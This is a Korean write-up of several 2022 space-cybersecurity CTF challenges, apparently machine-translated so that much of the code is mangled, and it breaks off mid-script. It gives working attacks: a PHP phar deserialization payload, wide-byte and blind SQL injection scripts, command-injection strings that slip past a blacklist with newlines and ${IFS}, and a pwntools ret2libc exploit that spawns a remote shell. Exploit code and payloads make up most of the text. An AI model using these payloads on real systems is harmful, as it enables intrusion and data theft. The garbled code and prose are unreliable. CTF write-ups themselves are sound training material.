제목 : 2022 5 번째 우주 사이버 보안 경쟁 쓰기

一、WEB​

1.web_BaliYun​

입력 후 파일이 업로드되고 사진 만 업로드 할 수 있습니다. 소스 코드를 얻으려면 www.zip을 방문하십시오
1049983-20220922090556835-1442997120.png
웹 사이트 소스 코드 : index.php: php
포함 ( 'class.php');
if (isset ($ _ get [ 'img_name'])) {
$ down=newcheck_img ();#여기
echo $ down-img_check ();
}
if (isset ($ _ files [ 'file'] [ 'name'])) {
$ up=newUpload ();
echo $ up-start ();
}
?
class.php: php
classupload {
공개 $ filename;
공개 $ ext;
공개 $ 크기;
public $ valid_ext;
publicfunction__construct () {
$ this-filename=$ _ files [ 'file'] [ 'name'];
$ this-ext=end (Explode ( '.', $ _ files [ 'file'] [ 'name']));
$ this-size=$ _ files [ 'file'] [ 'size']/1024;
$ this-valid_ext=array ( 'gif', 'jpeg', 'jpg', 'png');
}
publicFunctionStart () {
return $ this-check ();
}
PrivateFunctionCheck () {
if (file_exists ($ this-filename)) {
'ImageAlreadeExsists'를 반환합니다.
} elseif (! in_array ($ this-ext, $ this-valid_ext)) {
반환 'OnlyImageCanBeuploaded';
}또 다른{
return $ this-move ();
}
}
privateFunctionMove () {
move_uploaded_file ($ _ files [ 'file'] [ 'tmp_name'], 'upload/'.$이 filename);
'업로드 스uccsess!'를 반환합니다.
}
publicfunction__wakeup () {
echofile_get_contents ($ this-filename);#here2
}
}
classcheck_img {
공개 $ img_name;
publicfunction__construct () {
$ this-img_name=$ _ get [ 'img_name'];#여기
}
publicfunctionimg_check () {
if (file_exists ($ this-img_name)) {#here1
반환 'ImageExsists';
}또 다른{
'imagennoteexsists'를 반환합니다.
}
}
} Phar가 사막화되어 업로드 한 다음 포함 된 것은 분명합니다. 코드는 또한 업로드 디렉토리를 업로드로 제공하고 파일 이름이 변경되지 않았습니다.
Phar Desorialization에 대한 자세한 내용은 참조하십시오
PHP 사막화 확장 공격에 대한 자세한 설명-phar: https://xz.aliyun.com/t/6699
PHAR 및 스트림 래퍼 원인 PHP RCE의 심층 채굴 : https://xz.aliyun.com/t/2958
#test.php
? php
classupload {
공개 $ filename;
publicfunction__construct () {
$ this-filename='file: ///flag';
}
}
$ phar=newphar ( 'tao.phar');
$ phar-stopbuffering ();
$ phar-setstub ( 'gif89a'. '? php__halt_compiler ();');
$ phar-addfromstring ( 'test.txt', 'test');
$ payload=newUpload ();
$ phar-setmetadata ($ payload);
$ phar-stopbuffering ();
php-definedphar.readonly=0test.php
mvtao.phartao.gif
수업에서 Phar를 시작할 수있는 file_exists 함수를 보았습니다. 깃발을 읽을 수있는 기능. 그러면 아이디어가 매우 분명합니다. tao.gif를 직접 업로드하면 컨텐츠는 업로드 클래스이며 속성 파일 이름은 /flag입니다. 그런 다음 img_name을 phar:으로 전달하십시오.
Tao.gif를 업로드 한 다음? img_name=phar: //upload/tao.gif는 플래그를 얻을 수 있습니다.
ouo@gota:~$Curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif| grep'flag '
..............
get/index.php? img_name=phar: //upload/tao.gifhttp/1.1
호스트 :39.107.82.169336027417
user-agent:curl/7.58.0
accept:*/*
HTTP/1.1200OK
Date:mon, 19Sep2022103:42336008GMT
Server:apache/2.4.25 (데비안)
X- 전원 -:php/5.6.40
vary:cept-encoding
컨텐츠-길이 :1925
컨텐츠 -type:text/html; charset=utf-8
..............
플래그 {s8hjqg5ftej9kcc65mn5k9xjrrgyvqg}

2.easylogin​

SQL 주입. Burp가 패킷을 잡았을 때 GBK는 코드를 발견하고 넓은 바이트 주입임을 깨달았습니다.
username=admin%df'password=admin
오류보고 :
SQL 구문에 오류가 있습니다. 오른쪽 구문이 1 행에서``admin '' '을 사용할 수 있도록 MySQL 서버 버전에 해당하는 설명서를 확인하십시오.
공동 주사 발견 :
1049983-20220922090557623-1116459392.jpg
에는 항상 구문 오류가 있습니다. 문제 해결 후 Select 및 Union이 빈으로 대체되는 것으로 밝혀 졌으므로 이중 쓰기를 사용하여 우회하는 것이 더 간단합니다.
직접 조인트를 주입하는 비밀번호를 로그인 할 수 없습니다. 일반 사이트 개발 비밀번호는 MD5라고 생각하므로 MD5를 사용하여 암호화합니다. 인용문을 사용할 수 없으므로 16 진수를 선택합니다.
1049983-20220922090558263-459598854.jpg

가상 테이블을 만들고 직접 로그인하십시오. 배경 논리는 MD5 비교입니다. 유사한 원본 질문 사용자 이름=admin%df%27ununion%0aseSelectLect%0A66,66,0X34376236365356337346383963434383376462626435376539639636363383038#AAA :01010101010101010101010101010101010101010101010101010101010383838# 약한 비밀번호를 유발하고 암호가 admin123을 폭파합니다.
1049983-20220922090558895-1246514747.png

get/index.php? ip=127.0.0.1%0alshttp/1.1
Host:39.107.75.148336019304
Pragma:no-cache
캐시 제어 :NO-CACHE
업그레이드-보안 요청 :1
user-agent:mozilla/5.0 (Wind
accept:text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng,*/*; q=0.8, 응용 프로그램/서명-교환; v=b3; q=0.9
참조 3:335839.107.75.148:19304/index.php? ip=ip
인코딩 :gzip, deflate
허용 :ZH-CN, ZH; Q=0.9
Cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection:Close
1049983-20220922090559527-52671451.jpg

#소스 코드를 읽습니다
? IP=127.0.0.1%0APASTE%09INDEX.PHPARRAY
(
[0]=? php
[1]=
[2]=헤더 ( 'content-type3360text/html; charset=utf-8');
[3]=
[4]=//열린 세션
[5]=
[6]=session_start ();
[7]=
[8]=
[9]=
[10]=//먼저 쿠키가 사용자 정보를 기억하는지 여부를 결정합니다
[11]=
[12]=if (isset ($ _ 쿠키 [ 'username'])) {
[13]=
[14]=#사용자 정보를 기억하면 세션에 직접 전송됩니다.
[15]=
[16]=$ _ 세션 [ 'username']=$ _ 쿠키 [ 'username'];
[17]=
[18]=$ _ 세션 [ 'Islogin']=1;
[19]=
[20]=}
[21]=
[22]=if (isset ($ _ session [ 'Islogin'])) {
[23]=
[24]=//로그인 한 경우
[25]=
[26]=
[27]=$ res=false;
[28]=
[29]=if (isset ($ _ get [ 'ip']) $ _ get [ 'ip']) {
[30]=$ IP=$ _ get [ 'IP'];
[31]=$ m=[];
[32]=if (! preg_match_all ( '/(\ |||; || \/| cat | cat | flag | flag | t
[33]=$ cmd='ping-c4 {$ ip}';
[34]=exec ($ cmd, $ res);
[35]=} else {
[36]=$ res='해커, 불법 진술이 있습니다';
[37]=}
[38]=}
[39]=
[40]=
[41]=} else {
[42]=
[43]=//로그인하지 않은 경우
[44]=
[45]=echo'you는 아직 로그인되지 않았으며, ahref='login.html'Login/a';
[46]=
[47]=}
[48]=
[49]=? 정기적 인 차단은 다음과 같습니다.
if (! preg_match_all ( '/(\ |||; || \/| cat | flag | t 디렉토리이지만/가로 채워져 있기 때문에 디렉토리를 입력하고 파일을 읽으려고하지만 질문은 Linux 시스템의 특성을 사용하여 Kylin을 필터링하고 디렉토리 파일을 정기적으로 확인합니다.
#Kylin 디렉토리를 읽습니다
? IP=127.0.0.1%0als%09ky ?#출력 :
Prearray
(
[0]=flag.txt
))
/pre#finalPayLoad
? IP=127.0.0.1%0ACD%09KY ?%0APASTE%09fl*#%09=''(탭), 실제로 $ {ifs}도 할 수 있습니다
? IP=127.0.0.1%0ACD%09KY ?%0APASTE $ {ifs} fl*
? IP=127.0.0.1%0aca''t $ {ifs} $ (fi''nd $ {ifs}.)
1049983-20220922090600188-1514996600.png
1049983-20220922090600854-1673436991.jpg

3.web_letmeguess_1​

소스 코드 : 직접 비교하고 사례를 사용하여 사례를 사용하여 나오는 경우. 이진을 사용하여 대소 문자를 사용하십시오.
1049983-20220922090601456-1710777780.png

스크립트 importrequest에 대한 직접 메모
프록시={ 'http':'127.0.0.133608080'}
결과='0x'
k=0forjinRange (100) :
foriinrange (33,126) :
k=16 진수 (i)
K=K [2:]
결과+=k
password='또는 (\ x09 \ x09 \ x09
data={ 'username':'aa \\', 'password':password}
re=requests.post (data=data, url=url, proxies=proxy, allow_redirects=false)
#sleep (0.1)
print (re.status_code)
if'msg'notinre.text:
결과=결과 [:-2]
L=16 진수 (I-1)
L=L [2:]
결과+=l
인쇄 (결과)
부서지다
else:
결과=결과 [:-2] 마지막으로, username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g ! 로그인을 제출 한 후 간단한 읽기 파일임을 알 수 있습니다. 필터 /플래그 만 있으면 직접 사용 /플래그를 사용할 수 없습니다. 바이 패스에/proc/self/root/flag를 사용하십시오? phpsession_start (); if (isset ($ _ session [ 'name'])) {if (if ($ _ session [ 'name']==='flag_account') {$ file=urldecode ($ _ get [ 'file']); if (! preg_match ( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \. | \ : | base | ssh | http/i', $ 파일 ))) {readfile ($ file);} else {echo'tryagain ~ ';}} show_source (__ 파일 __);} else {echo'login ~';}
1049983-20220922090602071-124416845.jpg

1049983-20220922090602648-1448644284.png

4.web_Eeeeasy_SQL​

二、Pwn​

BASIC RET2LIBC
Frommpwnimport*
context.log_level='debug'#p=process ( './h3ll0rop')
P=원격 ('47 .93.30.67 ', 52705)
elf=elf ( './h3ll0rop')
libc=elf ( './libc-2.23.so')
pop_rdi=0x00000000000400753#vuln=0x400647
vuln=0x4006cc#leaklibc
페이로드=b'a '*(0x60+0x8)+p64 (pop_rdi)+p64 (elf.got ['puts '])+p64 (elf.plt ['puts '])+p64 (vuln)
p.sendlinter (b'me ? ', Payload)
libc_base=u64 (p.recvuntil (b '\ x7f') [-6:] .ljust (8, b '\ x00'))-libc.sym [ 'puts']
print ( 'libc_base', hex (libc_base))
System=libc_base+libc.sym [ 'System']
binsh=libc_base+next (libc.search (b '/bin/sh'))#getshell
페이로드=b'a '*(0x60+0x8)+p64 (pop_rdi)+p64 (binsh)+p64 (시스템)+p64 (vuln)
p.sendlinter (b'me ? ', Payload)
p.interactive () p.close ()

1. H3ll0Rop​

frommpwnimport*
컨텍스트 (os='linux', arch='amd64')
context.log_level=true
이자형
 
뒤로
상단